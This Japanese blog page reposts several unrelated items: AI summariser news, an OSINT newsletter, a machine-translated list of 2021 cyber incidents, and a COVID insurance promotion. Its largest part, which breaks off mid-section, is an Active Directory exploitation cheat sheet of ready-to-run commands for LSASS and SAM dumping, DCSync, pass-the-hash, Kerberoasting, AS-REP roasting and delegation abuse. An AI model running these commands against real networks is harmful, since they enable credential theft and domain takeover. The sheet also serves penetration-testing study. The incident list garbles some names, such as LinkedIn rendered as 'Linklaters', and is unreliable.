どんな文章も3行に要約するAI(転載)~精度は高いのだが、フロントのCloudFlareがたまにアクセスを妨害する~


 「どんな文章も3行に要約するAI」デモサイト、東大松尾研発ベンチャーが公開 「正確性は人間に匹敵」

東京大学・松尾豊研究室発のAIベンチャーELYZA(イライザ/東京都文京区)は8月26日、文章の要約文を生成するAI「ELYZA DIGEST」を試せるデモサイトを公開した。人間より短時間で要約でき、要約の正確性は「人間に匹敵する」という。今後も精度を高め、議事録作りやコールセンターでの対話メモ作成などでの活用を目指す。

同社は自然言語処理技術(NLP)の研究を進めており、日本語テキストデータの学習量・モデルの大きさともに日本最大級というAIエンジン「ELYZA Brain」を開発している。

ELYZA DIGESTは、大規模言語モデルを基に、要約というタスクに特化したAIとして開発。読み込んだテキストを基に、AIが一から要約文を生成する「生成型」モデルで、文の一部を抜き出す「抽出型」モデルなどと異なり、文の構造が崩れていたり、話者が多数いる会話文だったりしても、精度の高い要約文を生成できるという。

社内検証で、平均約900文字のテキストを使って人間とELYZA DIGESTの要約を比較したところ、人間は1記事当たり約5分かかったが、ELYZA DIGESTは約10秒で終わらせた。原文通りの意味で生成できる「正確性」は、人間とELYZA DIGESTが同等。ただ、原文で省略された主語を補完したり、文法に合った文章にしたりする「流暢性」では人間よりミスが多かった。

同社は「日常・ビジネスの場でよく発生する『要約』という問題に特化した」AIとして開発したと説明。今後も精度を高め、ビジネスの現場での活用を目指す。

「ELYZA DIGEST」を試せるデモサイト

週刊OSINT 2022-01号 / WEEK IN OSINT #2022-01(転載)

Week in OSINT #2022-01

今号も衛星画像、地図、リンク、課題、ツールなど盛りだくさんです。

この数週間、面白いリンクやヒントやツールを集めたが、OSINTに関してやったことはそれだけだ。もちろん、新しいクロノロケーションツールについてもツイートしましたが、それがここ数週間で行ったOSINTのすべてです。でも、この数週間でやったOSINTはこれだけです。さて、概要を見てみましょう。

  • AccessDPRK
  • Earthondemand
  • Virtual Tours
  • OverPass Turbo
  • Social Network Analysis
  • Business Cards
  • StreetView vs. Mafia
  • Diagrams.net
  • Online Investigations Kit
  • Hacktoria

小技: AccessDPRK

ジェイコブ・ボーグルは、北朝鮮の国土を地図にしたプロジェクト「AccessDPRK」の生みの親です。Ben Heublのツイートを見たとき、このデータセットをダウンロードして見てみたくなりました。KMZファイルに含まれる61,000のポイント・オブ・インタレストを読み込むと、私のMacBookは這うように停止した。これは絶対に、世の中にある中で最も詳細な北朝鮮の地図です。この地図については、彼のサイトをご覧ください。


サイト: Earthondemand

アストライアが提供するウェブサイト「EarthAI on Demand」では、シンプルなインターフェースで、自由に利用できる衛星画像を検索することができます。お住まいの地域を検索し、雲量をフィルタリングして、興味のあるデータセットを選択するだけで、画像のリストが表示されます。


検索: Virtual Tours

Twitterユーザーの@Mattia_Vicenziは、バーチャルツアーを対象としたGoogleのCSEをシェアした。彼は、ヨーロッパで最も人気のある10サイトを追加しましたが、Matterportが追加されたので、世界の他の地域はカバーされています。本当に便利なCSEで、「内部情報」を見つける必要がある場合に便利だ。


記事: OverPass Turbo

Twitterユーザーの@Haax9_さんが、Overpass Turboを使ってQuiztimeの課題を解いたという記事を書いています。彼はまず、従来の方法でクイズを解いた方法を説明し、次にOverpass Turboを使ってクイズを解く方法をステップバイステップで説明しています。彼はクエリ、それを微調整する方法、そしてそれが最終的にどのように答えにつながるかを説明しています。


記事: Social Network Analysis

Ludo Block氏のアドバイスにはいつも耳を傾けています。彼が新しい記事を発表したときは、たいてい時間を作って読みます。そこで今回は、ソーシャル・ネットワーク分析に関する彼の最新記事を紹介します。彼は、ノードとその関係、重み、距離、重要度について話していますが、さらに多くの属性やデータの質についても掘り下げています。このような分析について理解を深めたい方は必読です。

検索: Business Cards

これはすでにやや古いものですが、私はこのポップアップを見たことがあり、これは含まれなければならなかったのです! Dutch OSINT Guyは、LinkCardDrum.ioAbout.meのようなサイトに対して、あらゆる名前を照会するGoogle CSEを作成しました。これを作ってくれてありがとう


記事: StreetView vs. Mafia

複数の方がニュース記事をシェアしてくださり、避けては通れない状況でした。Google StreetViewの車のおかげで、約20年間も逃亡していたマフィアのボスが。しかし、それは単なる幸運ではなく、長期にわたる捜査の一環であり、記事によると、警察は彼がすでにスペインに住んでいると考えていたようです。


ツール: Diagrams.net

Ritu Gillは先週、Diagrams.netについての情報を共有しました。このツールは以前は「draw.io」として知られており、オンラインアプリのほか、Windows、macOS、いくつかのLinux用のスタンドアローンアプリもある。このツールにはたくさんの図形があり、グリッドやルーラー、コネクタ、関係表、フローチャート・テンプレートなど、基本的なものがすべて揃っています。まだDraw.ioやDiagramsを使ったことがないのであれば、ぜひ試してみてください。


リンク: Online Investigations Kit

Ben HeublDimitri Zuffereyは、「Swiss Online Investigation Toolkit」と呼ばれるオンラインリソースのGoogleスプレッドシートを開始しました。彼らのスプレッドシートには複数のカテゴリーがあり、メニューバーのアイコンをクリックすることでアクセスすることができる。このニュースレターが発行された時点で、すでに90のリンクがあり、今後も増える予定です。


サイト: Hacktoria

このCTFを見る時間はまだありませんが、ウェブサイトそのものと、これを作るために費やされたディテールのレベルから判断して、見事としか言いようがありません。私も過去数年間、いくつかのクイズを作ったことがありますが、このようなものを作るのがいかに難しいかはよくわかります。もし、暇があったら、Hacktoria CTFをチェックしてみてください!

中国的2021年サイバーセキュリティイベントトップ10 / 盘点 2021 年十大网络安全事件

盘点 2021 年十大网络安全事件

サイバーセキュリティの分野では、2021年は何事もない年になることが運命づけられています。 情報漏えい、ランサムウェア、ハッカー攻撃など、世界中でサイバーセキュリティ事件が頻発しており、組織的・意図的なサイバー攻撃という状況が顕在化しており、サイバーセキュリティリスクは増加の一途をたどっています。 また、中国ではネットワークセキュリティに関連する法令も数多く公布されており、インターネットセキュリティの分野でも中国の法令整備に道が開かれています。 今回は、2021年に最も注目されるサイバーセキュリティのイベントトップ10を「荘友情報」の視点で選び、まとめました。

イベント1:「中華人民共和国データ安全法」「重要情報インフラ安全保護条例」「中華人民共和国個人情報保護法」などのサイバーセキュリティ関連法が施行された。


インシデント2:米フロリダウォーターがハッカーに攻撃され、水道が "毒 "に侵されるところだった。


2021年2月8日、フロリダ州オールズマーの浄水場にハッカーが侵入し、遠隔操作可能なコンピュータのデータを改ざんして、浄水場の水中の水酸化ナトリウム濃度を極めて危険なレベルまで上げ、市全体を中毒にする寸前まで追い込みました。 幸いなことに、水処理プラントのオペレーターが問題を発見するのが間に合い、大惨事を免れることができました。 この侵入事件により、米国の重要インフラがサイバー攻撃に対して脆弱であることが明るみに出た。 サイバー攻撃による自治体のインフラへのリスクを浮き彫りにしています。 かつて水質汚染事件は、水業界、さらには重要インフラ業界に極度の恐怖をもたらした。


イベント3:Microsoft Exchange Server製品に深刻なセキュリティ侵害が発生、FBIがハッキングされたサーバーからバックドアを削除

2021年3月2日、マイクロソフトは、Exchange Serverに「高リスク」と評価される複数の深刻なセキュリティ脆弱性を含むセキュリティ更新情報を公開しました。 この脆弱性は、すでに「Hafnium」という国家的なハッカーグループによって攻撃されていた。 マイクロソフトは最初に脆弱性を修正しましたが、リリースされたパッチはすでに侵害されたサーバーのバックドアを閉じるものではなく、数日後、他のハッキンググループも追随してExchangeサーバーをターゲットにしはじめました。 このセキュリティ侵害は、世界のいくつかの国や地域の企業、政府機関、教育機関、医療機関などに深刻な情報漏えい問題を引き起こしました。 その結果、米司法省は2021年4月13日、ヒューストンの米裁判所から、FBIがハッキングを利用してExchange Serverのバックドア・プログラムを削除することを承認するアクションを発表しました。


イベント4:米保険大手CNAフィナンシアが4000万ドルの身代金を要求され、身代金の最高記録を更新した。


2021年3月末、米国最大級の保険会社CNA Financialがランサムウェアの攻撃を受け、ファイルの復旧に失敗したため、攻撃者との交渉を開始、ハッカーは最大6000万米ドルの身代金を要求してきました。 結局、CNA Financialは4000万ドルの身代金を支払って、事件から2週間後にネットワークの制御を取り戻した。 これまでに公表されたランサムウェアの支払額から、CNA Financialは4000万ドルの身代金を支払って「トップ」となり、これまで知られているランサムウェアの支払額の中で最大となりました。


イベント5:2つの大規模なデータ漏洩 - Facebook 5億3300万ユーザー、Collage 7億ユーザーのデータ漏洩とダークウェブでの販売


2021年4月、The Recordは、106の国と地域の5億3300万人以上のFacebookユーザーの個人情報がハッキングフォーラムに流出したと報じ、その中には、Facebook ID、フルネーム、所在地、生年月日、メールアドレスなど、ユーザーがプロフィールに入力したであろうあらゆる個人情報が含まれていたという。 また、データベースには全ユーザーの電話番号が登録されており、ホームページで電話番号を公開していないユーザーも惜しまれていた。 このデータは、無作為抽出のサンプルテストにより信憑性を検証しています。 その直後、6月22日にハッカーが7億人以上のリンクユーザーのデータをダークウェブのプラットフォームで売り、100万人のリンクユーザーを含むサンプルデータセットを公開するという、またしても大規模な情報漏洩が発生した。 リンクのユーザー数は7億5600万人と言われており、リンクユーザーの約92%が漏洩したデータベース内の個人情報を取り出すことができることになります。 また、この事件はリンクレーターズ社の歴史上最大のデータ流出事件となった。


インシデント6:米国最大の石油精製品パイプライン事業者Colonial Pipeline社へのサイバー攻撃


2021年5月7日(米国現地時間)、米国最大の精製油パイプライン運営会社であるコロニアル・パイプライン社がサイバー攻撃を受け、米国東海岸の主要都市に燃料供給の45%を供給する送油・送ガスパイプラインシステムがオフラインになる事態が発生しました。 アメリカ東海岸の燃料などのエネルギー供給に大きな影響を与え、アメリカ政府は国家非常事態を宣言した。 Colonial Pipeline社は最終的に約500万ドルの身代金を支払って、攻撃されたシステムを復旧させました。 この攻撃は、米国のエネルギーシステムに対する史上最悪のサイバー攻撃となった。


イベント7:SolarWinds事件の背後にいるロシアに支援されたNobeliumハッカーは、グローバルなITサプライチェーンをターゲットにしています。


2021年10月25日、マイクロソフトのスレットインテリジェンスセンターは、昨年のSolarWindsのハッキングの背後にいるロシアに支援されたNobelium脅威グループが、2021年5月から継続的に攻撃キャンペーンを行っていたとするレポートを発表し、マイクロソフトはこれらの攻撃を発見した時点で影響を受ける対象に通知するとともに、同社の脅威保護製品に検知機能を追加し、今後これらの対象に対して、以下のことを可能にすることを発表しました。 侵入の試みを検出します。 7月以降、600人以上のマイクロソフトのお客様が標的にされています。 2021年5月以降、140社のマネージドサービスプロバイダー(MSP)やクラウドサービスプロバイダーが攻撃を受け、少なくとも14社が侵入された。


イベント8:マイクロソフト、最大2.4Tbpsの帯域負荷をかけた史上最大のDDoS攻撃を退けたと発表


マイクロソフトは、2021年8月に発生した2.4Tbpsの分散型サービス妨害(DDoS)攻撃を緩和したことを明らかにした。 ヨーロッパのAzureのお客様を狙った今回の攻撃は、マイクロソフトが2020年に記録した攻撃帯域の最高値を140%上回るものでした。 また、昨年Amazon Web Servicesに対して行われたピーク時2.3Tbpsの過去最大の攻撃も上回った。 Amazon Web Services(AWS)はこれまで、上記の2.3Tbpsの試行という最大のDDoS攻撃防御の記録を保持していましたが、2018年3月にNetScout Arborが保持していた1.7Tbpsという記録を上回ったことになります。


イベント9:核兵器級の脆弱性log4shellが世界を席巻する


2021年12月10日に公開された核兵器級の脆弱性「log4shell」は、世界中を席巻している。 ニュージーランドコンピュータ緊急対応センター(CERT)、米国国家安全保障局、ドイツテレコムCERT、中国国家インターネット緊急対応センター(CERT/CC)など、多くの国家機関が次々と警告を発しているのです。 この脆弱性を理由に、世界の企業の半数近くがハッキングの被害に遭っています。 サーバーの脆弱性が確認されている企業は、Apple、Amazon、Tesla、Google、Baidu、Tencent、NetEase、Jingdong、Twitter、Steamなどです。 統計によると、合計6,921のアプリケーションが攻撃される危険性があるそうです。 その被害と影響の大きさから、業界では「どこにでもあるゼロデイ脆弱性」と表現する人も少なくありません。 Log4jの脆弱性は、適切に解決するのに数ヶ月から数年かかる可能性があります。


イベント10:英国国家犯罪局、漏洩したパスワード5億8500万件をHIBPに公開


英国の国家犯罪捜査局(NCA)は、捜査の過程で発見された5億8500万件以上の盗まれたパスワードのコレクションを、セキュリティ侵害データをインデックス化するウェブサイトHave I Being Pwned(HIBP)と共有しました。 HIBPにハッキングされたパスワードを提供するのは、5月にFBIがHave I Being Pwnedと同様の提携を開始したのに続き、今回が2番目の司法当局となります。

アプリから簡単加入できる500円で3か月有効なコロナ保険


アプリから簡単加入できる500円で3か月有効なコロナ保険

2019年に発生して以来、さまざまな変異株が生まれた武漢ウイルス。現在はデルタ株に続き、オミクロン株が世界中で流行しています。

オミクロン株はほかの株よりも感染しやすいと考えられています。理由としてオミクロン株のウイルス表面のスパイク蛋白は細胞表面のACE2への親和性が高く、細胞へ侵入しやすいものとなっているためです。

実際にオミクロン株の感染が広がっており、他人事ではなくなってきましたね。

そんなコロナウイルスのオミクロン株の感染に備えて、保険に入ってみました。コロナウイルス陽性と診断された場合、お見舞金として5万円がもらえ、保険金額も3か月間で500円というお手軽保険です。

そこで今回、アプリから簡単加入できるコロナ保険を共有いたします。

いい感じにActive Directoryのペンテストで使うコマンドがまとまっているサイト / Active-Directory-Exploitation-Cheat-Sheet(転載)


いい感じにActive Directoryのペンテストで使うコマンドがまとまっていますね。ここに書いてある用語やコマンドを調べて勉強するのも良いでしょう。https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet:

github.com/S1ckB0y1337/Activ…

このチートシートには、Windows Active Directoryの一般的な列挙と攻撃方法が記載されています。

このチートシートは、PayloadAllTheThingsのレポに触発されています。

使用するツール

ドメイン情報取得

PowerViewを使うケース

Powerview v.3.0
Powerview Wiki

  • 現在のドメインの取得: Get-Domain
  • 他のドメイン情報の取得: Get-Domain -Domain <DomainName>
  • ドメインSIDの取得: Get-DomainSID
  • ドメインポリシーの取得:
    Get-DomainPolicy
    
    #Will show us the policy configurations of the Domain about system access or kerberos
    Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess
    Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
    
  • ドメインコントローラの取得:
    Get-DomainController
    Get-DomainController -Domain <DomainName>
    
  • ドメインユーザーの抽出:
    #Save all Domain Users to a file
    Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
    
    #Will return specific properties of a specific user
    Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
    
    #Enumerate user logged on a machine
    Get-NetLoggedon -ComputerName <ComputerName>
    
    #Enumerate Session Information for a machine
    Get-NetSession -ComputerName <ComputerName>
    
    #Enumerate domain machines of the current/specified domain where specific users are logged into
    Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
    
  • ドメイン配下のコンピューターの列挙:
    Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
    
    #Enumerate Live machines 
    Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
    
  • Enumグループとグループメンバー:
    #Save all Domain Groups to a file:
    Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
    
    #Return members of Specific Group (eg. Domain Admins & Enterprise Admins)
    Get-DomainGroup -Identity '<GroupName>' | Select-Object -ExpandProperty Member 
    Get-DomainGroupMember -Identity '<GroupName>' | Select-Object MemberDistinguishedName
    
    #Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine
    Get-NetLocalGroup | Select-Object GroupName
    
    #Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine
    Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
    
    #Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
    Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
    
  • 共有リソースの抽出:
    #Enumerate Domain Shares
    Find-DomainShare
    
    #Enumerate Domain Shares the current user has access
    Find-DomainShare -CheckShareAccess
    
    #Enumerate "Interesting" Files on accessible shares
    Find-InterestingDomainShareFile -Include *passwords*
    
  • グループポリシーの抽出:
    Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
    
    #Enumerate all GPOs to a specific computer
    Get-DomainGPO -ComputerIdentity <ComputerName> -Properties DisplayName | Sort-Object -Property DisplayName
    
    #Get users that are part of a Machine's local Admin group
    Get-DomainGPOComputerLocalGroupMapping -ComputerName <ComputerName>
    
  • OUの抽出:
    Get-DomainOU -Properties Name | Sort-Object -Property Name
    
  • ACLの抽出:
    # Returns the ACLs associated with the specified account
    Get-DomaiObjectAcl -Identity <AccountName> -ResolveGUIDs
    
    #Search for interesting ACEs
    Find-InterestingDomainAcl -ResolveGUIDs
    
    #Check the ACLs associated with a specified path (e.g smb share)
    Get-PathAcl -Path "\\Path\Of\A\Share"
    
  • 信頼するドメインの抽出:
    Get-DomainTrust
    Get-DomainTrust -Domain <DomainName>
    
    #Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds
    Get-DomainTrustMapping
    
  • 信頼するフォレストの抽出:
    Get-ForestDomain
    Get-ForestDomain -Forest <ForestName>
    
    #Map the Trust of the Forest
    Get-ForestTrust
    Get-ForestTrust -Forest <ForestName>
    
  • ユーザーハンティング:
    #Finds all machines on the current domain where the current user has local admin access
    Find-LocalAdminAccess -Verbose
    
    #Find local admins on all machines of the domain
    Find-DomainLocalGroupMember -Verbose
    
    #Find computers were a Domain Admin OR a spesified user has a session
    Find-DomainUserLocation | Select-Object UserName, SessionFromName
    
    #Confirming admin access
    Test-AdminAccess
    
     ユーザーハンティングによるドメイン管理者への権限委譲:
    I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him -> Profit!

AD Moduleを使うケース

  • 現在のドメインを取得: Get-ADDomain
  • その他のドメインを取得: Get-ADDomain -Identity <Domain>
  • ドメインSIDを取得: Get-DomainSID
  • ドメインコントローラを取得:
    Get-ADDomainController
    Get-ADDomainController -Identity <DomainName>
    
  • ドメインユーザーを取得:
    Get-ADUser -Filter * -Identity <user> -Properties *
    
    #Get a spesific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
    
  • ドメイン配下のコンピューターを取得:
    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter * 
    
  • 信頼するドメインを取得:
    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
    
  • 信頼するフォレストを取得:
    Get-ADForest
    Get-ADForest -Identity <ForestName>
    
    #Domains of Forest Enumeration
    (Get-ADForest).Domains
    
  • Enum Local AppLocker Effective Policy:
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

BloodHoundを使うケース

Remote BloodHound

Python BloodHound Repository or install it with pip3 install bloodhound

bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c All

On Site BloodHound

#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
    
#Using powershell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>

便利な情報収集ツール

  • ldapdomaindump :LDAP経由での情報収集ツール
  • adidnsdump :認証された任意のユーザーによる統合DNSダンプ取得
  • ACLight :特権アカウントの検出
  • ADRecon :ADのReconツール

ローカルでの特権昇格

便利なローカル・プライバシー・ツール

  • PowerUp Misconfiguration Abuse
  • BeRoot General Priv Esc Enumeration Tool
  • Privesc General Priv Esc Enumeration Tool
  • FullPowers Restore A Service Account's Privileges

ラテラルムーブメント

Powershellによる遠隔操作

#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>

Powershell認証情報によるリモートコード実行

$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}

powershellモジュールをインポートし、その関数をリモートで実行する。

#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -FilePath c:\FilePath\file.ps1 -Session $sess 

#Interact with the session
Enter-PSSession -Session $sess

Remote Statefulコマンドの実行

#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}

Mimikatz

#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controler's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list

リモートデスクトップ

横移動したいホストが「RestrictedAdmin」を有効にしていれば、RDPプロトコルを使ってハッシュを渡し、平文のパスワードなしで対話型セッションを得ることができる。

  • Mimikatz:
#We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag
privilege::debug
sekurlsa::pth /user:<Username> /domain:<DomainName> /ntlm:<NTLMHash> /run:"mstsc.exe /restrictedadmin"

#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
  • xFreeRDP:
xfreerdp  +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8  /u:<Username> /pth:<NTLMHash> /v:<Hostname | IPAddress> 

 リモートマシンで制限付き管理者モードが無効になっている場合、psexecやwinrmなどの他のツール/プロトコルを使用してホスト上で接続し、以下のレジストリキーを作成してその値を0に設定することで制限付き管理者モードを有効にできます。 "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".

便利なツール

  • Powercat netcat written in powershell, and provides tunneling, relay and portforward capabilities.
  • SCShell fileless lateral movement tool that relies on ChangeServiceConfigA to run command
  • Evil-Winrm the ultimate WinRM shell for hacking/pentesting
  • RunasCs Csharp and open version of windows builtin runas.exe
  • ntlm_theft creates all possible file formats for url file attacks

Domain Privilege Escalation

Kerberoast

WUT IS DIS?:
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

  • PowerView:
#Get User Accounts that are used as Service Accounts
Get-NetUser -SPN

#Get every available SPN account, request a TGS and dump its hash
Invoke-Kerberoast

#Requesting the TGS for a single account:
Request-SPNTicket
  
#Export all tickets using Mimikatz
Invoke-Mimikatz -Command '"kerberos::list /export"'
  • AD Module:
#Get User Accounts that are used as Service Accounts
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
  • Impacket:
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName>
  • Rubeus:
#Kerberoasting and outputing on a file with a spesific format
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec

#Kerberoast AES enabled accounts
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes
 
#Kerberoast spesific user account
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple

#Kerberoast by specifying the authentication credentials 
Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>

ASREPRoast

WUT IS DIS?:
If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.

  • PowerView: Get-DomainUser -PreauthNotRequired -Verbose
  • AD Module: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:

Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose

And finally execute the attack using the ASREPRoast tool.

#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose

#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose

Using Rubeus:

#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>

Using Impacket:

#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>

Password Spray Attack

If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.

Tools:

Force Set SPN

WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.

  • PowerView:
#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
 
#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname
 
#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  • AD Module:
#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select ServicePrincipalName
  
#Force set the SPN on the account:
Set-ADUser -Identiny <UserName> -ServicePrincipalNames @{Add='ops/whatever1'}

Finally use any tool from before to grab the hash and kerberoast it!

Abusing Shadow Copies

If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.

#List shadow copies using vssadmin (Needs Admnistrator Access)
vssadmin list shadows
  
#List shadow copies using diskshadow
diskshadow list shadows all
  
#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
  1. You can dump the backuped SAM database and harvest credentials.
  2. Look for DPAPI stored creds and decrypt them.
  3. Access backuped sensitive files.

List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

  • %appdata%\Microsoft\Credentials
  • %localappdata%\Microsoft\Credentials
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:
dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

Detailed Article: DPAPI all the things

Unconstrained Delegation

WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!

Using PowerView:

#Discover domain joined computers that have Unconstrained Delegation enabled
Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT
Invoke-Mimikatz -Command '"sekurlsa::tickets"'

#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll <TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay   
<WaitInterval> -Verbose

#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'

Note: We can also use Rubeus!

Constrained Delegation

Using PowerView and Kekeo:

#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>

#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>

#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'

ALTERNATIVE: Using Rubeus:

Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser> /impersonateuser:<UserToImpersonate> /msdsspn:"<Service's SPN>" /altservice:<Optional> /ptt

Now we can access the service as the impersonated user!

🚩 What if we have delegation rights for only a spesific SPN? (e.g TIME):

